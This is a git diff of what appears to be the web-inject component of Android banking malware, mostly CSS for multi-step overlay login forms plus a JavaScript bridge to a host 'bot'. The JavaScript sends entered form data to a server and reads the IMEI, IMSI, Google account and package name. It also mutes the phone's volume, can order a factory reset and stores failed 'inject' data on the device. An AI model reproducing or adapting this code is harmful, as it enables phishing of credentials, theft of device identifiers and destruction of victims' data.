initial commit
@@ -0,0 +1,307 @@
|
||||
|
||||
|
||||
|
||||
.container {
|
||||
padding-top:70px;
|
||||
}
|
||||
.wrapper .row {
|
||||
position: relative;
|
||||
float: left;
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_header{
|
||||
background: #FFCB00;
|
||||
border: solid 1px #365FB4;
|
||||
}
|
||||
.row_header + .row {
|
||||
margin-top: 14px;
|
||||
}
|
||||
.form_header {
|
||||
background: #ffffff;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
top:0;
|
||||
left:0;
|
||||
width:100%;
|
||||
padding: 20px 12px 6px 12px;
|
||||
border-bottom: solid 1px #A9A9A9;
|
||||
}
|
||||
.content{
|
||||
padding: 0 15px;
|
||||
max-width: 330px;
|
||||
margin: 0 auto;
|
||||
max-width: 100%;
|
||||
overflow: hidden;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #000;
|
||||
font-family: "Helvetica";
|
||||
font-size: 16px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 131px;
|
||||
padding-right: 6%;
|
||||
margin-bottom: 13px;
|
||||
}
|
||||
.inp_caption_l {
|
||||
position: absolute;
|
||||
left: 6%;
|
||||
text-align: left;
|
||||
top: 8px;
|
||||
|
||||
}
|
||||
.inp_wr_l {
|
||||
float: right;
|
||||
width: 100%;
|
||||
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: none;
|
||||
outline-style: none;
|
||||
background-color: #FFF;
|
||||
border: 1px solid #E8E8E8;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
max-width: 330px;
|
||||
height: 35px;
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr {
|
||||
display:table;
|
||||
max-width:330px;
|
||||
margin-left:auto;
|
||||
margin-right:auto;
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.logon_btn {
|
||||
width: 140px;
|
||||
height: 40px;
|
||||
background-color: #FE0101;
|
||||
background-image: -moz-linear-gradient(bottom, #fff 0%, #fff 100%);
|
||||
background-image: -o-linear-gradient(bottom, #fff 0%, #fff 100%);
|
||||
background-image: -webkit-linear-gradient(bottom, #fff 0%, #fff 100%);
|
||||
background-image: linear-gradient(to top, #fff 0%, #fff 100%);
|
||||
border: 2px solid #fff;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
-webkit-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
cursor: pointer;
|
||||
outline-style: none;
|
||||
color: #000;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
|
||||
.main_select {
|
||||
text-align: left;
|
||||
}
|
||||
.main_select.jq-selectbox {
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 35px;
|
||||
padding: 0 5px 0 5px;
|
||||
border: 1px solid #E8E8E8 !important;
|
||||
-moz-border-radius: 5px !important;
|
||||
-webkit-border-radius: 5px !important;
|
||||
border-radius: 5px !important;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
border-radius: 0;
|
||||
background: #fff;
|
||||
box-shadow: none;
|
||||
color: #363636;
|
||||
text-shadow: none;
|
||||
font-size: 14px;
|
||||
font: 14px/26px 'Helvetica';
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger {
|
||||
width: 30px;
|
||||
height: 35px !important;
|
||||
height: 100%;
|
||||
border-left: none;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow {
|
||||
top: 16px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text {
|
||||
height: 35px;
|
||||
line-height: 37px;
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown {
|
||||
top: 35px !important;
|
||||
width: 100%;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 1px solid #CCC;
|
||||
border-radius: 0;
|
||||
background: #FFF;
|
||||
box-shadow: none;
|
||||
font: 14px/26px 'Helvetica';
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown li{
|
||||
padding: 0 5px 0 !important;
|
||||
}
|
||||
@media (max-width: 320px){
|
||||
.inp_caption_l {
|
||||
left: 0;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 110px;
|
||||
padding-right: 0;
|
||||
}
|
||||
}
|
||||
@media (max-height: 436px){
|
||||
.form_header {
|
||||
padding: 10px 5px 5px 5px;
|
||||
height: 40px;
|
||||
}
|
||||
.container {padding-top:40px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 0;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.logon_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 20px;
|
||||
line-height: 22px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 20px !important;
|
||||
width: 18px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 9px;
|
||||
right: 6px;
|
||||
}
|
||||
.inp_caption_l{
|
||||
top: 3px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
}
|
||||
@media (max-height: 240px) {
|
||||
.input_block_wr_l{
|
||||
padding-left: 95px;
|
||||
}
|
||||
}
|
||||
@media (max-width: 200px), (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 18px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.container {padding-top:18px;}
|
||||
.form_header img{
|
||||
max-height: 13px;
|
||||
}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: -3px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 0;
|
||||
}
|
||||
.main_input{
|
||||
height: 12px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 1px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 1px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.logon_btn{
|
||||
font-size: 7px;
|
||||
width: 70px;
|
||||
height: 16px;
|
||||
line-height: 10px;
|
||||
}
|
||||
.logon_btn img {
|
||||
top: 4px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 3px;
|
||||
padding-left: 70px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 15px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 15px;
|
||||
line-height: 15px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 15px !important;
|
||||
width: 7px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 6px;
|
||||
right: 3px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
border: 1px solid #c0c0c0;
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 6.0 KiB |
|
After Width: | Height: | Size: 4.3 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
